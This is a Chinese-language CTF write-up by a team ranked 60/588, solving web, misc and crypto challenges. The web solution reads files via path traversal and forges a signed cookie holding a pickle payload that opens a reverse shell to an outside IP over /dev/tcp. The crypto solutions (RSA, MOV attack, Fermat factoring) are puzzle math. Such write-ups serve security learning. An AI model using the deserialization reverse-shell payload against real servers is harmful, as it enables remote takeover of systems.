Sloth战队
Rank: 60/588
下面贴我的wp

Web

Lyrics For You

借鉴https://www.cjxol.com/posts/sekaictf-2022-writeup/
/proc/self/cmdline,得到python3-u/usr/etc/app/app.py
../../app/app.py

import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

../../app/config/secret_key.py,拿到secret_code
/login,抓包,cookie处打入payload

import hashlib
import hmac
import base64
def gen_cookie(payload):
    b64pld = base64.b64encode(payload)
    signature = base64.b64encode(
        hmac.new(
            b"EnjoyThePlayTime123456", b64pld, hashlib.md5
        ).digest()
    )
    return b'"!' + signature + b"?" + b64pld + b'"'
data = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/8.138.168.65/443 0>&1"'
o.'''
print(gen_cookie(data).decode())

Misc

Hiden

60,即rot47+rot13
得到

import wave 

with open('flag.txt', 'rb') as f:
txt_data = f.read()
file_len = len(txt_data)
txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data

with wave.open("test.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray( f.readframes(-1) )

for index in range(len(txt_data)):
wav_data[index * 4] = txt_data[index]

with wave.open("hiden.wav", "wb") as f:
f.setparams(attrib)
f.writeframes(wav_data)

敲打gpt加手动完善

import wave
# 打开包含隐藏数据的WAV文件
with wave.open("hiden.wav", "rb") as f:
# 获取音频参数和所有帧
wav_data = bytearray(f.readframes(-1))

# 提取隐藏的长度信息(3个字节)
file_len = int.from_bytes(wav_data[:3], byteorder='little')

# 提取flag数据,每个flag数据位于音频数据每隔4个字节的位置
flag_data = wav_data[4:4 * file_len+12:4]
print(flag_data.decode())

不一样的数据库_2(补)

压缩包最后提示6位数字,爆破得到压缩包密码,753591
三个定位角补齐二维码,扫码得到
NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU
下载keepass,试了一下,上面这段貌似不是Kee.kdbx的密码
脑洞了又,二维码文件名字为13,对应Rot13。。。
密码,AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH
更方便的是使用在线网站
https://app.keeweb.info/
history3 records
aeshttps://stackoverflow.org.cn/aesencrypt/
稍微留意就知道秘钥是,DASCTF

Crypto

RSA_loss

题目

from Crypto.Util.number import *
from gmpy2 import *
p = getPrime(100)
q = getPrime(100)
n = p * q
e = 65537
message = b""
m = bytes_to_long(message)
c = pow(m, e, n)
print(f'c = {c}')
print(f'p = {p}')
print(f'q = {q}')
d = invert(e,(p-1)*(q-1))
newm = pow(c, d, n)
print(long_to_bytes(newm))
#c = 356435791209686635044593929546092486613929446770721636839137
#p = 898278915648707936019913202333
#q = 814090608763917394723955024893
#b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15'

https://github.com/BCACTF/bcactf-4.0/blob/main/rsa-is-broken/rsa-broken-sol.py

from Crypto.Util.number import *
import re
import math
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
e = 65537
n = p*q
d = pow(e, -1, math.lcm(p-1, q-1))
m = pow(c, d, n)
while m % 256 != 125:
m += n
jump = n * 256
target = b'DASCTF{' + b'0'*math.floor(math.log(m, 256)-7)
md = long_to_bytes(m)
while re.fullmatch(b'[0-9a-zA-Z_{}]+', md) == None:
if md[0:7] == b'DASCTF{':
m += jump
# print(md)
else:
m += jump * math.ceil((bytes_to_long(target) - m)//jump)
target += b'0'
# print(math.log(m,2))
md = long_to_bytes(abs(m))
print(md.decode())

Babycurve

题目

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import os
import hashlib
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import c, b, key, FLAG


def add_curve(P, Q, K):
a, d, p = K
if P == (0, 0):
return Q
if Q == (0, 0):
return P
x1, y1 = P
x2, y2 = Q
x3 = (x1 * y2 + y1 * x2) * pow(1 - d * x1 ** 2 * x2 ** 2, -1, p) % p
y3 = ((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1 ** 2 * x2 ** 2) + 2 * d * x1 * x2 * (x1 ** 2 + x2 ** 2)) * pow(
(1 - d * x1 ** 2 * x2 ** 2) ** 2, -1, p) % p
return x3, y3


def mul_curve(n, P, K):
R = (0, 0)
while n > 0:
if n % 2 == 1:
R = add_curve(R, P, K)
P = add_curve(P, P, K)
n = n // 2
return R


def AES_encrypt(k):
key = hashlib.sha256(str(k).encode()).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
cipher = cipher.encrypt(pad(FLAG, 16))
data = {}
data["iv"] = iv.hex()
data["cipher"] = cipher.hex()
return data


a = 46
d = 20
p1 = 826100030683243954408990060837
K1 = (a, d, p1)
G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = mul_curve(c, G1, K1)
Q1 = mul_curve(b, G1, K1)
print("P1 =", P1)
print("Q1 =", Q1)
# P1 = (528578510004630596855654721810, 639541632629313772609548040620)
# Q1 = (819520958411405887240280598475, 76906957256966244725924513645)

p = 770311352827455849356512448287
E = EllipticCurve(GF(p), [-c, b])
G = E.gens()[0]
P = G * key
data = AES_encrypt(key)
print("G =", G)
print("P =", P)
print("data =",data)
# G = (584273268656071313022845392380 : 105970580903682721429154563816 : 1)
# P = (401055814681171318348566474726 : 293186309252428491012795616690 : 1)
# data = {'iv': 'bae1b42f174443d009c8d3a1576f07d6', 'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'}

PG都是椭圆曲线E上的点,可以解出bc的值
然后就是打MOV攻击
https://zhuanlan.zhihu.com/p/421541257?utm_psn=1811843631088271360

# sage
from Crypto.Util.number import *
from sympy import *
import gmpy2
from sage.all import *

p = 770311352827455849356512448287
G = (584273268656071313022845392380 , 105970580903682721429154563816 )
P = (401055814681171318348566474726 , 293186309252428491012795616690 )
c=int(inverse(P[0]-G[0],p)*(G[1]^2-P[1]^2-G[0]^3+P[0]^3))
b=int((G[1]^2-G[0]^3+c*G[0])%p)
print(b,c)
E = EllipticCurve(GF(p), [-c, b])
print(E.order())
print(p+1)
k = 2
G=E(G)
P=E(P)
F1 = GF(p)
E1 = EllipticCurve(F1, [-c, b])
F2 = GF(p^k)
phi = Hom(F1, F2)(F1.gen().minpoly().roots(F2)[0][0])
E2 = EllipticCurve(F2 ,[-c, b])

n = E1.order()

P1 = E1(G)
R1 = E1(P)

P2 = E2(phi(P1.xy()[0]), phi(P1.xy()[1]))
R2 = E2(phi(R1.xy()[0]), phi(R1.xy()[1]))

cn1 = p + 1
coeff = ZZ(cn1 / n)

Q = coeff * E2.random_point()
alpha = P2.weil_pairing(Q, n)
beta = R2.weil_pairing(Q, n)
d = beta.log(alpha)
print(d)

得出key,解aes

from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib
k = '2951856998192356'
key = hashlib.sha256(str(k).encode()).digest()[:16]
iv = 0xbae1b42f174443d009c8d3a1576f07d6
iv = long_to_bytes(iv)
cipher = 0xff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4
cipher = long_to_bytes(cipher)
aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(cipher))

TheoremPlus

题目

from Crypto.Util.number import *
from gmpy2 import *
from secret import flag

def decode_e(e):
if e > 1:
mul = 1
for i in range(1, e):
mul *= i
if e - mul % e - 1 == 0:
mulmod = mul % e - e
else:
mulmod = mul % e
return mulmod + decode_e(e - 1)
else:
return 0

q = getPrime(1024)
p = next_prime(q)
n = p * q
phi = (p - 1) * (q - 1)
e = abs(decode_e(703440151))
c = pow(bytes_to_long(flag), e, n)
print('n = {}\n'
'c = {}'.format(n, c))

'''
n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
'''

威尔逊定理威尔逊定理
p为素数,(p1)! 1(mod p)若p为素数,(p-1)!\equiv -1(mod p)
p>4时,非素数(p1)! 0(mod p)p>4时,非素数(p-1)!\equiv 0(mod p)

# sage
a = 703440151
e = prime_pi(a)-2
print(e)
from Crypto.Util.number import *
import gmpy2

n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
a = 703440151

def factor(n):
a, f = gmpy2.iroot(n, 2)

while (True):
a += 1
try:
b, f = gmpy2.iroot(a*a - n, 2)
except:
pass

if f:
return a-b, a+b

e = 36421873
p = factor(n)[0]
q = factor(n)[1]
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)).decode())

TH_curve(未解)

题目

from Crypto.Util.number import *
from secret import flag

def add_THcurve(P, Q):
if P == (0, 0):
return Q
if Q == (0, 0):
return P
x1, y1 = P
x2, y2 = Q
x3 = (x1 - y1 ** 2 * x2 * y2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p
y3 = (y1 * y2 ** 2 - a * x1 ** 2 * x2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p
return x3, y3

def mul_THcurve(n, P):
R = (0, 0)
while n > 0:
if n % 2 == 1:
R = add_THcurve(R, P)
P = add_THcurve(P, P)
n = n // 2
return R

p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)

FLAG = flag.lstrip(b'DASCTF{').rstrip(b'}')
assert len(FLAG) == 15
m = bytes_to_long(FLAG)
assert m < p
Q = mul_THcurve(m, G)
print("Q =", Q)
# Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)

可以参考
https://blog.maple3142.net/2023/07/09/cryptoctf-2023-writeups/
没研究明白……